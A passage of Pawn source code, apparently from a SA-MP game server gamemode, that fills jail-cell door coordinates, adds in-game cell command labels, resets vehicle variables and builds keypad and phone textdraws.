	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1553.05078;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1550.4926;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1548.7793;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1546.2521;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1544.53809;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1751.7013;
	ZendanInfo[loliaia][CellOpenY] = -1541.9612;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8877;
	ZendanInfo[loliaia][CellCloseX] = 1751.7013;
	ZendanInfo[loliaia][CellCloseY] = -1540.2281;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8877;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 270.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 270.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1540.2524;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1541.96216;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1544.5139;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1546.21228;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1548.7445;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1550.4626;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1553.0256;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1554.7136;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1557.2761;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1558.9841;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1561.5067;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1563.2152;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1565.7269;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1567.4454;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1570.0073;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1571.75598;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;loliaia++;

	ZendanInfo[loliaia][CellOpenx] = 1771.6356;
	ZendanInfo[loliaia][CellOpenY] = -1574.2975;
	ZendanInfo[loliaia][CellOpenZ] = 1993.8976;
	ZendanInfo[loliaia][CellCloseX] = 1771.6356;
	ZendanInfo[loliaia][CellCloseY] = -1576.03638;
	ZendanInfo[loliaia][CellCloseZ] = 1993.8976;
	ZendanInfo[loliaia][CellOpenRotX] = 0.0;
	ZendanInfo[loliaia][CellOpenRotY] = 0.0;
	ZendanInfo[loliaia][CellOpenRotZ] = 90.0;
	ZendanInfo[loliaia][CellCloseRotX] = 0.0;
	ZendanInfo[loliaia][CellCloseRotY] = 0.0;
	ZendanInfo[loliaia][CellCloseRotZ] = 90.0;
	
	
	
	
	new llxx=0;
	ZendanInfoEx[llxx][CellOpenx] = 0.0;
	ZendanInfoEx[llxx][CellOpenY] = 0.0;
	ZendanInfoEx[llxx][CellOpenZ] = 0.0;
	ZendanInfoEx[llxx][CellCloseX] = 0.0;
	ZendanInfoEx[llxx][CellCloseY] = 0.0;
	ZendanInfoEx[llxx][CellCloseZ] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 0.0;llxx++;

	ZendanInfoEx[llxx][CellOpenx] = 2588.82397;
	ZendanInfoEx[llxx][CellOpenY] = -1502.46509;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2588.82397;
	ZendanInfoEx[llxx][CellCloseY] = -1504.22510;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = -90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = -90.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2588.82397;
	ZendanInfoEx[llxx][CellOpenY] = -1506.12769;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2588.82397;
	ZendanInfoEx[llxx][CellCloseY] = -1507.86768;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = -90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = -90.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2588.82397;
	ZendanInfoEx[llxx][CellOpenY] = -1509.85193;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2588.82397;
	ZendanInfoEx[llxx][CellCloseY] = -1511.55188;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = -90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = -90.0;llxx++;

	ZendanInfoEx[llxx][CellOpenx] = 2588.82397;
	ZendanInfoEx[llxx][CellOpenY] = -1513.43542;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2588.82397;
	ZendanInfoEx[llxx][CellCloseY] = -1515.19543;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = -90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = -90.0;llxx++;

	ZendanInfoEx[llxx][CellOpenx] = 2588.82397;
	ZendanInfoEx[llxx][CellOpenY] = -1517.11536;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2588.82397;
	ZendanInfoEx[llxx][CellCloseY] = -1518.85535;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = -90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = -90.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2588.59961;
	ZendanInfoEx[llxx][CellOpenY] = -1522.64368;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2586.95972;
	ZendanInfoEx[llxx][CellCloseY] = -1522.64368;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 180.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 180.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2585.01685;
	ZendanInfoEx[llxx][CellOpenY] = -1522.64368;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2583.27686;
	ZendanInfoEx[llxx][CellCloseY] = -1522.64368;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 180.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 180.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2581.34644;
	ZendanInfoEx[llxx][CellOpenY] = -1522.64368;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2579.62646;
	ZendanInfoEx[llxx][CellCloseY] = -1522.64368;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 180.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 180.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2577.49097;
	ZendanInfoEx[llxx][CellOpenY] = -1517.79211;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2577.49097;
	ZendanInfoEx[llxx][CellCloseY] = -1516.07214;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 90.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2577.49097;
	ZendanInfoEx[llxx][CellOpenY] = -1514.16626;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2577.49097;
	ZendanInfoEx[llxx][CellCloseY] = -1512.40625;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 90.0;llxx++;

	ZendanInfoEx[llxx][CellOpenx] = 2577.49097;
	ZendanInfoEx[llxx][CellOpenY] = -1510.50574;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2577.49097;
	ZendanInfoEx[llxx][CellCloseY] = -1508.74573;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 90.0;llxx++;

	ZendanInfoEx[llxx][CellOpenx] = 2577.49097;
	ZendanInfoEx[llxx][CellOpenY] = -1506.73804;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2577.49097;
	ZendanInfoEx[llxx][CellCloseY] = -1505.09802;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 90.0;llxx++;
	
	ZendanInfoEx[llxx][CellOpenx] = 2577.49097;
	ZendanInfoEx[llxx][CellOpenY] = -1503.11279;
	ZendanInfoEx[llxx][CellOpenZ] = -48.66390;
	ZendanInfoEx[llxx][CellCloseX] = 2577.49097;
	ZendanInfoEx[llxx][CellCloseY] = -1501.45276;
	ZendanInfoEx[llxx][CellCloseZ] = -48.66390;
	ZendanInfoEx[llxx][CellOpenRotX] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotY] = 0.0;
	ZendanInfoEx[llxx][CellOpenRotZ] = 90.0;
	ZendanInfoEx[llxx][CellCloseRotX] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotY] = 0.0;
	ZendanInfoEx[llxx][CellCloseRotZ] = 90.0;llxx++;
	
/*	for(new playerid=0; playerid != MAX_PLAYERS; playerid++)
	{
	TD_PllayerName[playerid] = TextDrawCreate(60, 323.00000, "03");
	TextDrawLetterSize(TD_PllayerName[playerid], 0.339999, 1.330000);
	TextDrawAlignment(TD_PllayerName[playerid], 1);
	TextDrawColor(TD_PllayerName[playerid], 0xFF0000FF);
	TextDrawSetShadow(TD_PllayerName[playerid], 0);
	TextDrawSetOutline(TD_PllayerName[playerid], 1);
	TextDrawBackgroundColor(TD_PllayerName[playerid], 0x000000AA);
	TextDrawFont(TD_PllayerName[playerid], 1);
	TextDrawSetProportional(TD_PllayerName[playerid], 1);

	WebTD = TextDrawCreate(480.356018, 425.444274, "WWW.Azin Game.IR");
	TextDrawLetterSize(WebTD, 0.378533, 1.643555);
	TextDrawAlignment(WebTD, 1);
	TextDrawColor(WebTD, -1);
	TextDrawSetShadow(WebTD, 0);
	TextDrawSetOutline(WebTD, -1);
	TextDrawBackgroundColor(WebTD, 255);
	TextDrawFont(WebTD, 2);
	TextDrawSetProportional(WebTD, 1);

	}*/
	SetTimer("ArmourTimer",5000,1);
	new hours,minutes,seconds;
	gettime(hours, minutes, seconds);
	SetWorldTime(hours);
	new string[256];
	new string1[MAX_PLAYER_NAME];
	for(new c = 0; c <MAX_VEHICLES; c++)
	{
	   LockEngine[c] = false;
	   IsValidAVeh[c] = false;
	   Benzin[c] = GasMax;
	   DarsadBenzin[c] = 0;
	   OwnedMashin[c] = 0;
	   MashinOwner[c] = 9999;
	   OwnedMashin_2[c] = 0;
	   MashinOwner_2[c] = 9999;
	   MashinRenter[c] = INVALID_PLAYER_ID;
	   //VehicleSpeedLimit[c] = 0.0;
	   MaxSorat[c] = 0;
	   VehLinkDare[c] = 0;
	   VehicleTurbo[c] = 0;
	   vJump[c] = 0;
	   OilInCar[c] = 0;
	   UFOOwnerID[c] = 9999;
	}
	AmirMamad = 0;
/*for(new i = 1;i<37;i++)
{
new lolstr[512];
format(lolstr,512,"Cell: %i\n Use /opencell %i to open this cell.",i,i);
ZendanInfo[i][ci3D] = CreateDynamic3DTextLabel(lolstr,COLOR_WHITE,BiroonJail[i][0],BiroonJail[i][1],BiroonJail[i][2],6.0);
ZendanInfo[i][ciOpened] = false;
}*/
for(new i = 1;i<sizeof(ZendanInfoEx);i++)
{
new lolstr[200];
format(lolstr,200,"Cell: %i\n Use /opencell %i to open this cell.",i,i);
ZendanInfoEx[i][ci3D] = CreateDynamic3DTextLabel(lolstr,COLOR_WHITE,NormalBiroonJail[i][0],NormalBiroonJail[i][1],NormalBiroonJail[i][2],10.0);
ZendanInfoEx[i][ciOpened] = false;
}
//OAC3D = CreateDynamic3DTextLabel("Jail Control Panel\nUse /openallcells to open all cells",COLOR_WHITE,1761.950073,-1542.098510,1993.670043,6.0,.testlos=1);
OAC3D = CreateDynamic3DTextLabel("Jail Control Panel\nUse /openallcells to open all cells",COLOR_WHITE,2589.205810, -1500.543701, -48.914062,6.0,.testlos=1);
//OXRR = CreateDynamic3DTextLabel("Jail Yard\nUse /openyard to open yard",COLOR_WHITE,1762.053588,-1564.047119,2001.460449,6.0,.testlos=1);

CreateDynamic3DTextLabel("Jail Yard\nUse /enter to enter to yard",COLOR_WHITE,1757.300292,-1539.745361,1993.670043,6.0,.testlos=1);
settime();
SetTimer("settime",900,true);

	KEYPAD_gKeypadTextdraws[keypad_textdraw_bg] = TextDrawCreate(570.000000, 280.000000, "_");
	TextDrawAlignment(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 2);
	TextDrawBackgroundColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 255);
	TextDrawFont(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 2);
	TextDrawLetterSize(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 0.319999, 14.799995);
	TextDrawColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], -1);
	TextDrawSetOutline(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 0);
	TextDrawSetProportional(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 1);
	TextDrawSetShadow(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 0);
	TextDrawUseBox(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 1);
	TextDrawBoxColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], -1852730422);
	TextDrawTextSize(KEYPAD_gKeypadTextdraws[keypad_textdraw_bg], 0.000000, 113.000000);




	// The coordinates for the boxes
/*	new keypad_box_coords[][] = {
	{540, 290},
	{570, 320},
	{570, 290},
	{600, 290},
	{540, 320},
	{600, 320},
	{600, 350},
	{570, 350},
	{540, 350},
	{570, 380}
	};
*/
	// The coordinates for the numbers
	new keypad_num_coords[][] = {
	{570, 379},
	{540, 289},
	{570, 289},
	{600, 289},
	{540, 319},
	{570, 319},
	{600, 319},
	{540, 349},
	{570, 349},
	{600, 349}
	};

	for(new i=0; i<10; i++) // Create the number textdraws
	{
		new numstr[2];
		format(numstr, 2, "%i", i);
		KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i] = TextDrawCreate(keypad_num_coords[i][0], keypad_num_coords[i][1], numstr);
		TextDrawAlignment(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 2);
		TextDrawBackgroundColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 255);
		TextDrawFont(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 2);
		TextDrawLetterSize(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 0.550000, 2.599998);
		TextDrawColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], -1);
		TextDrawSetOutline(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 0);
		TextDrawSetProportional(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 1);
		TextDrawSetShadow(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 0);
		TextDrawUseBox(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 1);
		TextDrawBoxColor(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 255);
		TextDrawTextSize(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 23.000000, 23.000000);
		TextDrawSetSelectable(KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i], 1);
	}


		PhoneTest[0] = TextDrawCreate(506.250000, 193.666656, "_");
		TextDrawLetterSize(PhoneTest[0], 0.463750, 22.395820);
		TextDrawTextSize(PhoneTest[0], 605.000000, 1.166666);
		TextDrawAlignment(PhoneTest[0], 1);
		TextDrawColor(PhoneTest[0], -1);
		TextDrawUseBox(PhoneTest[0], true);
		TextDrawBoxColor(PhoneTest[0], 255);
		TextDrawSetShadow(PhoneTest[0], 0);
		TextDrawSetOutline(PhoneTest[0], 1);
		TextDrawBackgroundColor(PhoneTest[0], 51);
		TextDrawFont(PhoneTest[0], 1);
		TextDrawSetProportional(PhoneTest[0], 1);

		PhoneTest[1] = TextDrawCreate(508.125000, 210.000000, "ld_dual:backgnd");
		TextDrawLetterSize(PhoneTest[1], 0.000000, 0.000000);
		TextDrawTextSize(PhoneTest[1], 95.000000, 163.333312);
		TextDrawAlignment(PhoneTest[1], 1);
		TextDrawColor(PhoneTest[1], -1);
		TextDrawSetShadow(PhoneTest[1], 0);
		TextDrawSetOutline(PhoneTest[1], 0);
		TextDrawFont(PhoneTest[1], 4);

		PhoneTest[2] = TextDrawCreate(545.625000, 190.750000, "......");
		TextDrawLetterSize(PhoneTest[2], 0.264374, 0.946666);
		TextDrawAlignment(PhoneTest[2], 1);
		TextDrawColor(PhoneTest[2], -1);
		TextDrawSetShadow(PhoneTest[2], 0);
		TextDrawSetOutline(PhoneTest[2], 1);
		TextDrawBackgroundColor(PhoneTest[2], 51);
		TextDrawFont(PhoneTest[2], 1);
		TextDrawSetProportional(PhoneTest[2], 1);

		PhoneTest[3] = TextDrawCreate(543.125000, 198.916641, "iAzin");
		TextDrawLetterSize(PhoneTest[3], 0.222499, 0.929166);
		TextDrawAlignment(PhoneTest[3], 1);
		TextDrawColor(PhoneTest[3], -1);
		TextDrawSetShadow(PhoneTest[3], 0);
		TextDrawSetOutline(PhoneTest[3], 1);
		TextDrawBackgroundColor(PhoneTest[3], 51);
		TextDrawFont(PhoneTest[3], 2);
		TextDrawSetProportional(PhoneTest[3], 1);
		new xSxs[60];format(xSxs, sizeof(xSxs), "i%s", SERVER_NAME1);TextDrawSetString(PhoneTest[3], xSxs);
		
		PhoneTest[4] = TextDrawCreate(555.000000, 382.083374, "<");
		TextDrawLetterSize(PhoneTest[4], 0.271874, 1.045832);
		TextDrawTextSize(PhoneTest[4], 9.375000, 8.750000);
		TextDrawAlignment(PhoneTest[4], 2);
		TextDrawColor(PhoneTest[4], -1);
		TextDrawSetShadow(PhoneTest[4], 0);
		TextDrawSetOutline(PhoneTest[4], 0);
		TextDrawBackgroundColor(PhoneTest[4], 51);
		TextDrawFont(PhoneTest[4], 1);
		TextDrawSetProportional(PhoneTest[4], 1);
		TextDrawSetSelectable(PhoneTest[4], true);

		PhoneTest[5] = TextDrawCreate(536.250000, 247.333435, "Home screen");
		TextDrawLetterSize(PhoneTest[5], 0.216874, 1.057499);
		TextDrawAlignment(PhoneTest[5], 2);
		TextDrawColor(PhoneTest[5], -1378294017);
		TextDrawSetShadow(PhoneTest[5], 0);
		TextDrawSetOutline(PhoneTest[5], 0);
		TextDrawBackgroundColor(PhoneTest[5], 51);
		TextDrawFont(PhoneTest[5], 1);
		TextDrawSetProportional(PhoneTest[5], 1);

		PhoneTest[6] = TextDrawCreate(515.625000, 257.250030, "This is iAzin");
		TextDrawLetterSize(PhoneTest[6], 0.179997, 0.783333);
		TextDrawTextSize(PhoneTest[6], 596.250000, 11.666666);
